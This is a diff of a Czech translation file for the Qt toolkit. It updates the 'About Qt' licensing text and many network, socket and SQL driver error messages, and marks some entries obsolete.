+ <source>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
+ <translation>&lt;p&gt;Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.&lt;/p&gt;&lt;p&gt;Qt poskytuje jednoduchou přenositelnost přes MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.&lt;/p&gt;&lt;p&gt;Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.&lt;/p&gt;Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.&lt;/p&gt;&lt;p&gt;Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.&lt;/p&gt;&lt;p&gt;Podívejte se, prosím, na &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; kvůli přehledu licencování Qt.&lt;/p&gt;&lt;p&gt;Autorské právo (C) 2010 Nokia Corporation a/nebo její dceřinná(é) společnost(i).&lt;/p&gt;&lt;p&gt;Qt je výrobkem společnosti Nokia. Podívejte se na &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt;kvůli více informacím.&lt;/p&gt;</translation>
+ </message>
+ <message>
<source>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
<translation type="obsolete">&lt;h3&gt;O Qt&lt;/h3&gt;&lt;p&gt;Tento program používá Qt ve verzi %1.&lt;/p&gt;&lt;p&gt;Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.&lt;/p&gt;&lt;p&gt;Qt poskytuje jednoduchou přenositelnost přes MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.&lt;/p&gt;&lt;p&gt;Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.&lt;/p&gt;Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.&lt;/p&gt;&lt;p&gt;Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.&lt;/p&gt;&lt;p&gt;Podívejte se, prosím, na &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; kvůli přehledu licencování Qt.&lt;/p&gt;&lt;p&gt;Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).&lt;/p&gt;&lt;p&gt;Qt je výrobkem společnosti Nokia. Podívejte se na &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt;kvůli více informacím.&lt;/p&gt;</translation>
</message>
<message>
- <location line="-1099"/>
<source>Show Details...</source>
<translation>Ukázat podrobnosti...</translation>
</message>
<message>
- <location line="+1575"/>
<source>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;</source>
<translation>&lt;h3&gt;O Qt&lt;/h3&gt;&lt;p&gt;Tento program používá Qt-verze %1.&lt;/p&gt;</translation>
</message>
<message>
- <location line="+5"/>
<source>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
- <translation>&lt;p&gt;Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.&lt;/p&gt;&lt;p&gt;Qt poskytuje jednoduchou přenositelnost přes MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.&lt;/p&gt;&lt;p&gt;Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.&lt;/p&gt;Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.&lt;/p&gt;&lt;p&gt;Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.&lt;/p&gt;&lt;p&gt;Podívejte se, prosím, na &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; kvůli přehledu licencování Qt.&lt;/p&gt;&lt;p&gt;Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).&lt;/p&gt;&lt;p&gt;Qt je výrobkem společnosti Nokia. Podívejte se na &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt;kvůli více informacím.&lt;/p&gt;</translation>
+ <translation type="obsolete">&lt;p&gt;Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.&lt;/p&gt;&lt;p&gt;Qt poskytuje jednoduchou přenositelnost přes MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.&lt;/p&gt;&lt;p&gt;Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.&lt;/p&gt;Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.&lt;/p&gt;&lt;p&gt;Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.&lt;/p&gt;&lt;p&gt;Podívejte se, prosím, na &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; kvůli přehledu licencování Qt.&lt;/p&gt;&lt;p&gt;Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).&lt;/p&gt;&lt;p&gt;Qt je výrobkem společnosti Nokia. Podívejte se na &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt;kvůli více informacím.&lt;/p&gt;</translation>
</message>
<message>
- <location line="+31"/>
<source>About Qt</source>
<translation>O Qt</translation>
</message>
@@ -3218,7 +3791,6 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<translation type="obsolete">&lt;p&gt;Tento program používá Qt Open Source Edition verze %1.&lt;/p&gt;&lt;p&gt;Qt Open Source Edition je zamýšlena pro vývoj Open Source aplikací. Pro vývoj vlastnických aplikací (uzavřené zdrojové kódy) potřebujete Qt licenci.&lt;/p&gt;&lt;p&gt;Podívejte se, prosím, na &lt;a href=&quot;http://www.trolltech.com/company/model/&quot;&gt;www.trolltech.com/company/model/&lt;/a&gt; kvůli přehledu licencování Qt.&lt;/p&gt;</translation>
</message>
<message>
- <location line="-1610"/>
<source>Hide Details...</source>
<translation>Skrýt podrobnosti...</translation>
</message>
@@ -3230,7 +3802,6 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMultiInputContext</name>
<message>
- <location filename="../src/plugins/inputmethods/imsw-multi/qmultiinputcontext.cpp" line="+88"/>
<source>Select IM</source>
<translation>Zvolit způsob vstupu</translation>
</message>
@@ -3238,12 +3809,10 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QMultiInputContextPlugin</name>
<message>
- <location filename="../src/plugins/inputmethods/imsw-multi/qmultiinputcontextplugin.cpp" line="+102"/>
<source>Multiple input method switcher that uses the context menu of the text widgets</source>
<translation>Přepínač pro více způsobů vstupu, který používá související nabídku textového prvku</translation>
</message>
<message>
- <location line="-7"/>
<source>Multiple input method switcher</source>
<translation>Přepínač pro více způsobů vstupu</translation>
</message>
@@ -3251,132 +3820,106 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QNativeSocketEngine</name>
<message>
- <location filename="../src/network/socket/qnativesocketengine.cpp" line="+269"/>
<source>The proxy type is invalid for this operation</source>
<translation>Tuto operaci nelze s tímto typem proxy provést</translation>
</message>
<message>
- <location line="-60"/>
<source>Network operation timed out</source>
<translation>Časový limit pro síťovou operaci byl překročen</translation>
</message>
<message>
- <location line="-3"/>
<source>The remote host closed the connection</source>
<translation>Vzdálený počítač uzavřel spojení</translation>
</message>
<message>
- <location line="+15"/>
<source>Invalid socket descriptor</source>
<translation>Neplatný deskriptor zásuvky (socketu)</translation>
</message>
<message>
- <location line="+3"/>
<source>Host unreachable</source>
<translation>Cílový počítač je nedosažitelný</translation>
</message>
<message>
- <location line="-6"/>
<source>Protocol type not supported</source>
<translation>Protokol tohoto typu není podporován</translation>
</message>
<message>
- <location line="+30"/>
<source>Datagram was too large to send</source>
<translation>Datagram byl pro odeslání příliš veliký</translation>
</message>
<message>
- <location line="-45"/>
<source>Attempt to use IPv6 socket on a platform with no IPv6 support</source>
<translation>Vyzkoušelo se použít IPv6 zásuvku (socket) na systému bez podpory IPv6</translation>
</message>
<message>
- <location line="+51"/>
<source>Unable to receive a message</source>
<translation>Zprávu se nepodařilo přijmout</translation>
</message>
<message>
- <location line="-24"/>
<source>Permission denied</source>
<translation>Přístup odepřen</translation>
</message>
<message>
- <location line="+6"/>
<source>Connection refused</source>
<translation>Spojení bylo odmítnuto</translation>
</message>
<message>
- <location line="+21"/>
<source>Unable to write</source>
<translation>Nepodařilo se zapsat</translation>
</message>
<message>
- <location line="+6"/>
<source>Another socket is already listening on the same port</source>
<translation>Na tomto portu již naslouchá jiná zásuvka (socket)</translation>
</message>
<message>
- <location line="-12"/>
<source>Unable to send a message</source>
<translation>Nepodařilo se odeslat hlášení</translation>
</message>
<message>
- <location line="-12"/>
<source>The bound address is already in use</source>
<translation>Uvedená adresa se už používá</translation>
</message>
<message>
- <location line="-6"/>
<source>Connection timed out</source>
<translation>Časový limit pro spojení byl překročen</translation>
</message>
<message>
- <location line="+27"/>
<source>Network error</source>
<translation>Síťová chyba</translation>
</message>
<message>
- <location line="-45"/>
<source>Unsupported socket operation</source>
<translation>Nepodporovaná zásuvková operace (povel pro socket)</translation>
</message>
<message>
- <location line="+51"/>
<source>Operation on non-socket</source>
<translation>Operaci lze použít pouze na jedné zásuvce (socketu)</translation>
</message>
<message>
- <location line="-66"/>
<source>Unable to initialize broadcast socket</source>
<translation>Zásuvku pro vysílání (socket) se nepodařilo spustit</translation>
</message>
<message>
- <location line="+72"/>
<source>Unknown error</source>
<translation>Neznámá chyba</translation>
</message>
<message>
- <location line="-75"/>
<source>Unable to initialize non-blocking socket</source>
<translation>Neblokující zásuvku (socket) se nepodařilo spustit</translation>
</message>
<message>
- <location line="+48"/>
<source>The address is protected</source>
<translation>Adresa je chráněna</translation>
</message>
<message>
- <location line="-18"/>
<source>Network unreachable</source>
<translation>Síť je nedosažitelná</translation>
</message>
<message>
- <location line="+15"/>
<source>The address is not available</source>
<translation>Adresa není dostupná</translation>
</message>
<message>
- <location line="-30"/>
<source>Out of resources</source>
<translation>Nejsou dostupné žádné zdroje</translation>
</message>
@@ -3384,43 +3927,55 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QNetworkAccessCacheBackend</name>
<message>
- <location filename="../src/network/access/qnetworkaccesscachebackend.cpp" line="+66"/>
<source>Error opening %1</source>
<translation>%1 se nepodařilo otevřít</translation>
</message>
</context>
<context>
+ <name>QNetworkAccessDataBackend</name>
+ <message>
+ <source>Operation not supported on %1</source>
+ <translation>Tato operace není %1 podporována</translation>
+ </message>
+ <message>
+ <source>Invalid URI: %1</source>
+ <translation>Neplatný URI: %1</translation>
+ </message>
+</context>
+<context>
<name>QNetworkAccessDebugPipeBackend</name>
<message>
- <location filename="../src/network/access/qnetworkaccessdebugpipebackend.cpp" line="+195"/>
<source>Write error writing to %1: %2</source>
<translation>Při zápisu do souboru %1: %2 nastala chyba</translation>
</message>
+ <message>
+ <source>Socket error on %1: %2</source>
+ <translation>Chyba zásuvky (socketu) u %1: %2</translation>
+ </message>
+ <message>
+ <source>Remote host closed the connection prematurely on %1</source>
+ <translation>Vzdálený počítač předčasně ukončil spojení s %1</translation>
+ </message>
</context>
<context>
<name>QNetworkAccessFileBackend</name>
<message>
- <location filename="../src/network/access/qnetworkaccessfilebackend.cpp" line="+100"/>
<source>Request for opening non-local file %1</source>
<translation>Požadavek na otevření souboru přes síť %1</translation>
</message>
<message>
- <location line="+152"/>
<source>Read error reading from %1: %2</source>
<translation>Při čtení ze souboru %1 nastala chyba: %2</translation>
</message>
<message>
- <location line="-21"/>
<source>Cannot open %1: Path is a directory</source>
<translation>%1 nelze otevřít: Jedná se o adresář</translation>
</message>
<message>
- <location line="-86"/>
<source>Error opening %1: %2</source>
<translation>%1 se nepodařilo otevřít: %2</translation>
</message>
<message>
- <location line="+38"/>
<source>Write error writing to %1: %2</source>
<translation>Při zápisu do souboru %1: %2 nastala chyba</translation>
</message>
@@ -3428,27 +3983,22 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QNetworkAccessFtpBackend</name>
<message>
- <location filename="../src/network/access/qnetworkaccessftpbackend.cpp" line="+131"/>
<source>No suitable proxy found</source>
<translation>Nepodařilo se najít žádný vhodný proxy server</translation>
</message>
<message>
- <location line="+165"/>
<source>Error while downloading %1: %2</source>
<translation>Při stahování %1 se vyskytla chyba: %2</translation>
</message>
<message>
- <location line="+2"/>
<source>Error while uploading %1: %2</source>
<translation>Při nahrávání %1 se vyskytla chyba: %2</translation>
</message>
<message>
- <location line="-153"/>
<source>Cannot open %1: is a directory</source>
<translation>%1 nelze otevřít: Jedná se o adresář</translation>
</message>
<message>
- <location line="+112"/>
<source>Logging in to %1 failed: authentication required</source>
<translation>Přihlášení do %1 se nezdařilo: Je požadována autentizace</translation>
</message>
@@ -3456,37 +4006,88 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QNetworkAccessHttpBackend</name>
<message>
- <location filename="../src/network/access/qnetworkaccesshttpbackend.cpp" line="+585"/>
<source>No suitable proxy found</source>
<translation>Nepodařilo se najít žádný vhodný proxy server</translation>
</message>
</context>
<context>
+ <name>QNetworkAccessManager</name>
+ <message>
+ <source>Network access is disabled.</source>
+ <translation>Přístup k síti není dovolen.</translation>
+ </message>
+</context>
+<context>
<name>QNetworkReply</name>
<message>
- <location line="+95"/>
<source>Error downloading %1 - server replied: %2</source>
<translation>Beim Herunterladen von %1 trat ein Fehler auf - Die Antwort des Servers ist: %2</translation>
</message>
<message>
- <location filename="../src/network/access/qnetworkreplyimpl.cpp" line="+77"/>
<source>Protocol &quot;%1&quot; is unknown</source>
<translation>Protokol &quot;%1&quot; není znám</translation>
</message>
+ <message>
+ <source>Network session error.</source>
+ <translation>Chyba při spojení přes síť.</translation>
+ </message>
+ <message>
+ <source>Temporary network failure.</source>
+ <translation>Síť dočasně vypadla.</translation>
+ </message>
</context>
<context>
<name>QNetworkReplyImpl</name>
<message>
- <location line="+519"/>
- <location line="+28"/>
<source>Operation canceled</source>
<translation>Operace byla zrušena</translation>
</message>
</context>
<context>
+ <name>QNetworkSession</name>
+ <message>
+ <source>Invalid configuration.</source>
+ <translation>Neplatné nastavení.</translation>
+ </message>
+</context>
+<context>
+ <name>QNetworkSessionPrivateImpl</name>
+ <message>
+ <source>Roaming error</source>
+ <translation>Chyba při toulání se (roaming)</translation>
+ </message>
+ <message>
+ <source>Session aborted by user or system</source>
+ <translation>Spojení bylo zrušeno buď uživatelem nebo operačním systémem</translation>
+ </message>
+ <message>
+ <source>The specified configuration cannot be used.</source>
+ <translation>Zadané nastavení nelze použít.</translation>
+ </message>
+ <message>
+ <source>Unidentified Error</source>
+ <translation>Neznámá chyba</translation>
+ </message>
+ <message>
+ <source>Unknown session error.</source>
+ <translation>Neznámá chyba při spojení přes síť.</translation>
+ </message>
+ <message>
+ <source>The session was aborted by the user or system.</source>
+ <translation>Spojení bylo zrušeno buď uživatelem nebo operačním systémem.</translation>
+ </message>
+ <message>
+ <source>The requested operation is not supported by the system.</source>
+ <translation>Požadovaná operace není systémem podporována.</translation>
+ </message>
+ <message>
+ <source>Roaming was aborted or is not possible.</source>
+ <translation>Toulání se (roaming) bylo buď zrušeno, nebo zde není možné.</translation>
+ </message>
+</context>
+<context>
<name>QOCIDriver</name>
<message>
- <location filename="../src/sql/drivers/oci/qsql_oci.cpp" line="+2166"/>
<source>Unable to commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
@@ -3495,22 +4096,18 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<translation type="obsolete">Inicializace se nezdařila</translation>
</message>
<message>
- <location line="-90"/>
<source>Unable to logon</source>
<translation>Přihlášení se nezdařilo</translation>
</message>
<message>
- <location line="+109"/>
<source>Unable to rollback transaction</source>
<translation>Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
<message>
- <location line="-38"/>
<source>Unable to begin transaction</source>
<translation>Transakci se nepodařilo spustit</translation>
</message>
<message>
- <location line="-215"/>
<source>Unable to initialize</source>
<comment>QOCIDriver</comment>
<translation>Spuštění se nezdařilo</translation>
@@ -3519,29 +4116,22 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QOCIResult</name>
<message>
- <location line="-165"/>
<source>Unable to alloc statement</source>
<translation>Přidělení příkazu se nepodařilo</translation>
</message>
<message>
- <location line="-59"/>
<source>Unable to goto next</source>
<translation>Nelze jít k dalšímu prvku</translation>
</message>
<message>
- <location line="+100"/>
<source>Unable to get statement type</source>
<translation>Nepodařilo se získat typ příkazu</translation>
</message>
<message>
- <location line="+39"/>
<source>Unable to execute statement</source>
<translation>Příkaz se nepodařilo provést</translation>
</message>
<message>
- <location line="-634"/>
- <location line="+161"/>
- <location line="+15"/>
<source>Unable to bind column for batch execute</source>
<translation>Nepodařilo se spojit sloupec pro provedení příkazu dávkového zpracování</translation>
</message>
@@ -3550,17 +4140,14 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<translation type="obsolete">Výběrové vyhledávání se nepodařilo provést</translation>
</message>
<message>
- <location line="+393"/>
<source>Unable to prepare statement</source>
<translation>Příkaz se nepodařilo připravit</translation>
</message>
<message>
- <location line="-378"/>
<source>Unable to execute batch statement</source>
<translation>Příkaz pro dávkové zpracování se nepodařilo provést</translation>
</message>
<message>
- <location line="+424"/>
<source>Unable to bind value</source>
<translation>Hodnotu se nepodařilo spojit</translation>
</message>
@@ -3568,12 +4155,10 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QODBCDriver</name>
<message>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="+2045"/>
<source>Unable to commit transaction</source>
<translation>Transakci se nepodařilo provést (operace &apos;commit&apos;, odeslání, se nezdařila)</translation>
</message>
<message>
- <location line="+32"/>
<source>Unable to enable autocommit</source>
<translation>&apos;autocommit&apos; se nepodařilo povolit</translation>
</message>
@@ -3582,22 +4167,18 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<translation type="obsolete">Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje</translation>
</message>
<message>
- <location line="-49"/>
<source>Unable to disable autocommit</source>
<translation>&apos;autocommit&apos;, automatické odeslání, se nepodařilo zastavit</translation>
</message>
<message>
- <location line="-238"/>
<source>Unable to connect</source>
<translation>Nepodařilo se navázat spojení</translation>
</message>
<message>
- <location line="+6"/>
<source>Unable to connect - Driver doesn&apos;t support all functionality required</source>
<translation>Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje</translation>
</message>
<message>
- <location line="+266"/>
<source>Unable to rollback transaction</source>
<translation>Transakci se nepodařilo zvrátit (operace &apos;rollback&apos;, zvrácení, se nezdařila)</translation>
</message>
@@ -3605,51 +4186,38 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QODBCResult</name>
<message>
- <location line="-566"/>
<source>Unable to bind variable</source>
<translation>Proměnnou se nepodařilo provést</translation>
</message>
<message>
- <location line="-615"/>
- <location line="+623"/>
<source>Unable to execute statement</source>
<translation>Příkaz se nepodařilo provést</translation>
</message>
<message>
- <location line="-547"/>
<source>Unable to fetch next</source>
<translation>Další datový záznam se nepodařilo natáhnout</translation>
</message>
<message>
- <location filename="../src/sql/drivers/db2/qsql_db2.cpp" line="+190"/>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="+72"/>
- <location line="+576"/>
<source>Unable to fetch last</source>
<translation>Poslední datový záznam se nepodařilo natáhnout</translation>
</message>
<message>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="-377"/>
<source>Unable to prepare statement</source>
<translation>Příkaz se nepodařilo spustit</translation>
</message>
<message>
- <location line="-230"/>
<source>Unable to fetch previous</source>
<translation>Předchozí datový záznam se nepodařilo natáhnout</translation>
</message>
<message>
- <location line="-63"/>
<source>Unable to fetch</source>
<translation>Nepodařilo se natáhnout žádná data</translation>
</message>
<message>
- <location line="-71"/>
- <location line="+346"/>
<source>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</source>
<translation>QODBCResult::reset: &apos;SQL_CURSOR_STATIC&apos; se nepodařilo nastavit jako příkaz vlastnosti . Ověřte, prosím, nastavení svého ODBC ovladače</translation>
</message>
<message>
- <location line="-231"/>
<source>Unable to fetch first</source>
<translation>První datový záznam se nepodařilo natáhnout</translation>
</message>
@@ -3657,9 +4225,8 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<context>
<name>QObject</name>
<message>
- <location filename="../src/network/kernel/qhostinfo_unix.cpp" line="-97"/>
<source>Invalid hostname</source>
- <translation>Neplatný název pro hostitelský počítač</translation>
+ <translation type="obsolete">Neplatný název pro hostitelský počítač</translation>
</message>
<message>
<source>Home</source>
@@ -3670,49 +4237,53 @@ Ověřte, prosím, že byl zadán správný název souboru.</translation>
<translation type="obsolete">Chyba v zápisu: Byl přijat paket o nulové velikosti</translation>
</message>
<message>
- <location filename="../src/network/access/qnetworkaccessdatabackend.cpp" line="+131"/>
<source>Invalid URI: %1</source>
- <translation>Neplátná URI: %1</translation>
+ <translation type="obsolete">Neplátná URI: %1</translation>
</message>
<message>
- <location filename="../src/network/access/qnetworkaccessdebugpipebackend.cpp" line="+60"/>
<source>Socket error on %1: %2</source>
- <translation>Chyba zásuvky (socketu) u %1: %2</translation>
+ <translation type="obsolete">Chyba zásuvky (socketu) u %1: %2</translation>
</message>
<message>
- <location filename="../src/network/kernel/qhostinfo.cpp" line="+175"/>
- <location filename="../src/network/kernel/qhostinfo_unix.cpp" line="+0"/>
<source>No host name given</source>
- <translation>Nebyl zadán název pro hostitelský počítač</translation>
